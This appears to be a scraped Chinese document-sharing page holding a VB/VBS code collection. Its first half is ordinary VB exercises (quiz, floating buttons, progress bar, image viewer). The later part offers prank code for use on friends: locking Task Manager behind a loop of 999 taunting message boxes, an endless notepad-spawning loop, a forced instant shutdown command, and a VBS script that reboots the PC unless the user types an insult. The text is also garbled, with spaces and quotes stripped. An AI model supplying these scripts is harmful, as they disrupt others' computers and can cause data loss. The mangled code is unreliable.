vb+VBS整人代码大集合小伟哥收集Word文件下载.docx
- 文档编号:16719796
- 上传时间:2022-11-25
- 格式:DOCX
- 页数:38
- 大小:31.75KB
vb+VBS整人代码大集合小伟哥收集Word文件下载.docx
《vb+VBS整人代码大集合小伟哥收集Word文件下载.docx》由会员分享,可在线阅读,更多相关《vb+VBS整人代码大集合小伟哥收集Word文件下载.docx(38页珍藏版)》请在冰豆网上搜索。
+vbCrLfNextEndSubEndClass实验四(加减乘除随机数题)PublicClassForm1Dimx,yAsIntegerDimiAsIntegerDimsumAsIntegerPrivateSubButton2_Click(ByValsenderAsSystem.Object,ByValeAsSystem.EventArgs)HandlesButton2.ClickIf(Label1.Text)ThenTextBox2.Text+=Label1.Text+TextBox1.TextTextBox2.Text+=结果If(sum=Val(TextBox1.Text)ThenTextBox2.Text+=+vbCrLfElseTextBox2.Text+=+vbCrLfEndIfEndIfRandomize()x=Int(Rnd()*999+1)y=Int(Rnd()*999+1)i=Int(Rnd()*4+1)SelectCaseiCase1Label1.Text=x.ToString()+y.ToString()+sum=x+yCase2Label1.Text=x.ToString()+y.ToString()+sum=x-yCase3Label1.Text=x.ToString()+y.ToString()+sum=x*yCase4Label1.Text=x.ToString()+y.ToString()+sum=x/yEndSelectEndSubEndClassVB实现按钮浮动效果关于浮动按钮的实现思路不少,多是采取多图片重叠显示来实现。
这种方法代码量多,实现起来较繁琐。
因为,一个按钮还好,如果有十个按钮呢?
一个按钮三个图片,十个就要三十个图片,可不是闹着玩的。
我的思路是:
舍弃CommandButton控件,每个按钮用4条Line控件和一个Label控件替代。
4条Line围住Label的边缘,调入窗体时,置显示属性为False,并将左、上直线的颜色设为白色,右、下直线的颜色设为黑色。
当鼠标移到Label上时,4条Line的显示属性置True;
当鼠标离开按钮时,将4条Line的显示属性设置为False。
这样在视觉上就完全得到立体浮动的效果。
另外,VB的Line控件还支持直线倾斜,以此类推,完全可以做出更加美观的倾斜按钮。
篇幅所限,下面仅给出一个按钮实现浮动效果的源代码。
OptionExplicitPrivateSubForm_Load()初始Form与LabelForm1.Caption=“浮动按钮Form1.KeyPreview=Falselabel1.Caption=“确定初始4条Line的显示属性为FalseLine1.Visible=FalseLine2.Visible=FalseLine3.Visible=FalseLine4.Visible=False初始4条Line的颜色Line1.BorderColor=HE0E0E0Line2.BorderColor=HE0E0E0Line3.BorderColor=H808080Line4.BorderColor=H808080EndSubPrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)鼠标指针在窗体上(不在按钮上)时,置4条Line的显示属性为FalseLine1.Visible=FalseLine2.Visible=FalseLine3.Visible=FalseLine4.Visible=FalseEndSubPrivateSublabel1_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)鼠标指针在按钮上时,置4条Line的显示属性为TrueLine1.Visible=TrueLine2.Visible=TrueLine3.Visible=TrueLine4.VisiblerueEndSub-setup类型的进度条DimtenthAsLong条件编译#IfWin32ThenPrivateDeclareFunctionBitBltLibgdi32_(ByValhDestDCAsLong,ByValxAsLong,ByValyAsLong,_ByValnWidthAsLong,ByValnHeightAsLong,_ByValhSrcDCAsLong,ByValxSrcAsLong,ByValySrcAsLong,_ByValdwRopAsLong)AsLong#ElsePrivateDeclareFunctionBitBltLibGDI(ByValhDestDCAs_Integer,ByValxAsInteger,ByValyAsInteger,ByValnWidth_AsInteger,ByValnHeightAsInteger,ByValhSrcDCAsInteger,_ByValxSrcAsInteger,ByValySrcAsInteger,ByValdwRopAs_Long)AsInteger#EndIfSubUpdateStatus(FileBytesAsLong)-更新Picture1statusbar-StaticprogressAsLongDimrAsLongConstSRCCOPY=&
HCC0020DimTxt$progress=progress+FileBytesIfprogressPicture1.ScaleWidthThenprogress=Picture1.ScaleWidthEndIfTxt$=Format$(CLng(progress/Picture1.ScaleWidth)*100)+%Picture1.ClsPicture1.CurrentX=_(Picture1.ScaleWidth-Picture1.TextWidth(Txt$)2Picture1.CurrentY=_(Picture1.ScaleHeight-Picture1.TextHeight(Txt$)2Picture1.PrintTxt$Picture1.Line(0,0)-(progress,Picture1.ScaleHeight),_Picture1.ForeColor,BFr=BitBlt(Picture1.hDC,0,0,Picture1.ScaleWidth,_Picture1.ScaleHeight,Picture1.hDC,0,0,SRCCOPY)EndSubPrivateSubCommand1_Click()Picture1.ScaleWidth=109tenth=10Fori=1To11CallUpdateStatus(tenth)x=TimerWhileTimerx+0.75DoEventsWendNextEndSubPrivateSubForm_Load()Picture1.FontBold=TruePicture1.AutoRedraw=TruePicture1.BackColor=vbWhitePicture1.DrawMode=10Picture1.FillStyle=0Picture1.ForeColor=vbBlueEndSub-图像浏览小程序下面分步设置各控件的属性:
1.设置窗体的Caption属性为“图片浏览器”,BorderStyle属性为3,即窗体大小不能改变。
2.设置Label1的属性为“当前驱动器”,Label2的属性为“当前目录”,Label3的属性为“当前文件”;
Label4的属性为“当前图像”,Label5的属性为“当前文件路径”。
3.设置Text1的Text属性为空。
4.设置Image1的Stretch属性为True,即所装入的图形能够缩放以适应图像框大小。
5.设置Command1的Caption属性为“确定”,Command2的Caption属性为“退出”。
PrivateSubCommand1_Click()Image1.Picture=LoadPicture(Text1.Text)当单击“确定”时,文本框中的文件在图像框中显示出来EndSubPrivateSubCommand2_Click()当单击“退出”时,弹出是否退出系统对话框DimexiAsStringexi=MsgBox(您真的想退出吗?
vbYesNo+vbQuestion+vbDefaultButton1,退出)Ifexi=vbYesThenEndEndIfEndSubPrivateSubDir1_Change()File1.Path=Dir1当目录发生变化时,文件列表框中的文件也相应变化EndSubPrivateSubDrive1_Change()Dir1.Path=Drive1当驱动器变化时,目录列表也相应变化EndSubPrivateSubFile1_Click()Text1.Text=File1.Path+File1用来在文本框中显示被选中的图形名EndSubPrivateSubFile1_DblClick()Image1.Picture=LoadPicture(File1.Path+File1)当双击文件列表中的文件时,文件在图像框中显示出来EndSubPrivateSubForm_Load()Command1.Enabled=False在未选择图形文件时“确定”按钮不可用File1.Pattern=*.bmp;
*.jpg;
*.ico;
*.cur在文件列表框中显示扩展名为.BMP、.JPG、.ICO、.CUR的文件EndSubPrivateSubText1_Change()Command1.Enabled=True当文本框中的内容变化时使“确定”按钮可用EndSub-浮动按钮小程序OptionExplicitPrivateSubForm_Load()初始Form与LabelForm1.Caption=浮动按钮Form1.KeyPreview=FalseLabel1.Caption=确定初始4条Line的显示属性为FalseLine1.Visible=FalseLine2.Visible=FalseLine3.Visible=FalseLine4.Visible=False初始4条Line的颜色Line1.BorderColor=&
HE0E0E0Line2.BorderColor=&
HE0E0E0Line3.BorderColor=&
H808080Line4.BorderColor=&
H808080EndSubPrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)鼠标指针在窗体上(不在按钮上)时,置4条Line的显示属性为FalseLine1.Visible=FalseLine2.Visible=FalseLine3.Visible=FalseLine4.Visible=FalseEndSubPrivateSubLabel1_Click()EndEndSubPrivateSubLabel1_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)鼠标指针在按钮上时,置4条Line的显示属性为TrueLine1.Visible=TrueLine2.Visible=TrueLine3.Visible=TrueLine4.Visible=TrueEndSub-VB实现按钮浮动OptionExplicitPrivateSubForm_Load()初始Form与LabelForm1.Caption=Form1.KeyPreview=FalseLabel1.Caption=确定初始4条Line的显示属性为FalseLine1.Visible=FalseLine2.Visible=FalseLine3.Visible=FalseLine4.Visible=False初始4条Line的颜色Line1.BorderColor=&
H808080EndSubPrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)鼠标指针在窗体上(不在按钮上)时,置4条Line的显示属性为FalseLine1.Visible=FalseLine2.Visible=FalseLine3.Visible=FalseLine4.Visible=FalseEndSubPrivateSubLabel1_Click()EndEndSubPrivateSubLabel1_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)鼠标指针在按钮上时,置4条Line的显示属性为TrueLine1.Visible=TrueLine2.Visible=TrueLine3.Visible=TrueLine4.Visible=TrueEndSubPrivateSubForm_MouseDown(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)ReleaseCaptureSendMessagehwnd,WM_NCLBUTTONDOWN,HTCAPTION,0&
EndSubModule1.bas移动模块的程序DeclareFunctionReleaseCaptureLibuser32()AsLongDeclareFunctionSendMessageLibuser32AliasSendMessageA(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLongPublicConstHTCAPTION=2PublicConstWM_NCLBUTTONDOWN=&
HA1-此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你PrivateSubForm_Load()OpenEnviron$(WinDir)&
system32taskmgr.exeForBinaryAs#1Form=1To999MsgBox呵呵,你知道我是谁吗?
16MsgBox什么?
不知道?
16MsgBox那你打开我干什么?
16MsgBox你有空没事做吧?
!
16MsgBox我.就是鼎鼎大名的小伟哥,16MsgBoxQQ897507391.,16MsgBox现在你把它打开了觉得后悔了吧?
呵呵.,16MsgBox算了算了,不玩你了,16MsgBox现在我数3声就闪人,行了吧?
16MsgBox1.,16MsgBox2.,16MsgBox3.,16MsgBox噔噔噔噔,我又回来了!
16MsgBox哈哈,是不是很过瘾呢?
16MsgBox现在我先介绍下自己.,16MsgBox我叫薛明山.,16MsgBox性别:
男.,16MsgBox今年20岁.,16MsgBox不好意思噢,我好像说多了.,16MsgBox不要这样喇,听我说完先好不?
16MsgBox来来来,开始喇.,16MsgBox我叫薛明山.,16MsgBox家中有屋又有田.,16MsgBox生活乐无边.,16MsgBox好像我又说多了.,16MsgBox不要生气嘛,你认真看下去我就放你走.,16MsgBox好,开始喇.,16MsgBox从前有座山.,16MsgBox山里有个座庙.,16MsgBox庙里有个和尚.,16MsgBox哈哈,想哭吗?
16MsgBox被骗的感觉不爽吧?
16MsgBox喂喂喂!
别别.千万别重启电脑,16MsgBox我告诉你怎么关吧,16MsgBox先打开任务管理器,16MsgBox忘了告诉你了,任务管理器打不开了,16MsgBox别恨我啊你不小心,16MsgBox电脑重新启动吧,16MsgBox相信我吧,你知道我是不会骗人的,16MsgBox如果你还想继续点的话,你就别听我的,16MsgBox呵呵,我又没有说这个东西没有,16MsgBox我只想说桌面没有罢了.,16MsgBox嘻嘻,爽不爽吖?
16MsgBox对着电脑屏幕大声说低调大好人,16MsgBox不然,我就没办法的咯,16MsgBox因为我把循环设置成99了,16MsgBox想保存电脑数据只有继续点了,16MsgBox绝对会出到去的,16MsgBox好了,废话不多说了,祝你好运.,16MsgBox制作:
低调不倒,16MsgBoxQQ:
897507391,16MsgBoxE-mail:
不告诉你,16MsgBox好,继续循环.,16NextEndSub1和2是不断运行程序,3是迅速关机。
1、subform_load()shellapp.exenameendsub2、doshellnotepad.exeloop3、shellcmd/cshutdown-s-f-t014、运行了一个vb代码,用任务管理器关闭不了setvbs=createobject(Wscript.shell)a=inputbox(请输入&
vbcr&
我是大笨蛋&
否则电脑将立即重启。
笨蛋炸弹)ifa我是大笨蛋thenvbs.run(shutdown-r-t0),vbhideendif这个是关闭桌面所有窗口(直接复制上去就ok)PrivateTypePOINTAPIxAsLongyAsLongEndTypePrivateDeclareFunctionGetCursorPosLibuser32(lpPointAsPOINTAPI)AsLongPrivateDeclareFunctionWindowFromPointLibuser32(ByValxPointAsLong,ByValyPointAsLong)AsLongPrivateDeclareFunctionShowWindowLibuser32(ByValhwndAsLong,ByValnCmdShowAsLong)AsLongDima(5
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- vb VBS 整人 代码 集合 伟哥 收集